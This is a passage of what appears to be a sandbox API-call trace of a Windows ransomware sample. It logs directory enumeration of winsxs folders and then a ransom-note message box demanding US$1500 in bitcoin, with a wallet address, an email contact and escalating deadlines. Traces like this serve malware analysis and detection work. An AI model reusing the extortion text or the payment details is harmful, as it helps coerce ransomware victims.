(in: lpFileName="C:\\Windows\\winsxs\\amd64_netr28ux.inf_31bf3856ad364e35_6.1.7600.16385_none_9e04f5ea3d7bf9e0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a276ab7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a276ab7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a276ab7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.466] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netr28x.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_93f873ce9e11e6ff\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2fc3fb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2fc3fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd2fc3fb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.467] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netr28x.inf_31bf3856ad364e35_6.1.7600.16385_none_f6bd180f0177aea7\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a276ab7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a276ab7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a276ab7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.468] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netr7364.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_57f6f35af17d3f59\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2fc3fb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2fc3fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd2fc3fb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.469] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netr7364.inf_31bf3856ad364e35_6.1.7600.16385_none_ea139236d3140569\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a276ab7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a276ab7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1a276ab7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.474] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netrndis.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_80c57e0aece0d1bb\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcd05713, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xcd05713, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xcd05713, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.478] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netrndis.inf_31bf3856ad364e35_6.1.7600.16385_none_23b780d15f7da9af\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185c0122, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x185c0122, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x185c0122, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.482] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netrtl64.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_7ef50870ac387fe5\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34896d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd34896d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd34896d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.483] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netrtl64.inf_31bf3856ad364e35_6.1.7600.16385_none_0510be2ea42fdbdd\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b346636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b346636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b346636, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.484] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netrtx64.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f712ca98ba65e239\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd34896d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd34896d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd34896d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.485] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netrtx64.inf_31bf3856ad364e35_6.1.7600.16385_none_aa7bee9a02fd3a89\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b346636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1b346636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1b346636, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0166.487] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_nettun.inf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_af1b86ee8e156238\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2fc3fb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xd2fc3fb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xd2fc3fb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0193.136] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x405250, csidl=16, fCreate=1 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0194.613] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0194.614] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="" [0194.614] MessageBoxA (hWnd=0x0, lpText="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n", lpCaption=0x0, uType=0x10) returned 1 [0197.248] lstrcatA (in: lpString1="fpflagmcindjpeka", lpString2=".bmp" | out: lpString1="fpflagmcindjpeka.bmp") returned="fpflagmcindjpeka.bmp" [0197.248] GetTempPathA (in: nBufferLength=0x200, lpBuffer=0x406e19 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0197.249] lstrcatA (in: lpString1="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", lpString2="fpflagmcindjpeka.bmp" | out: lpString1="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\fpflagmcindjpeka.bmp") returned="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\fpflagmcindjpeka.bmp" [0197.249] FindResourceA (hModule=0x0, lpName="pussylicker", lpType=0x2) returned 0x0 [0197.266] ExitProcess (uExitCode=0x0)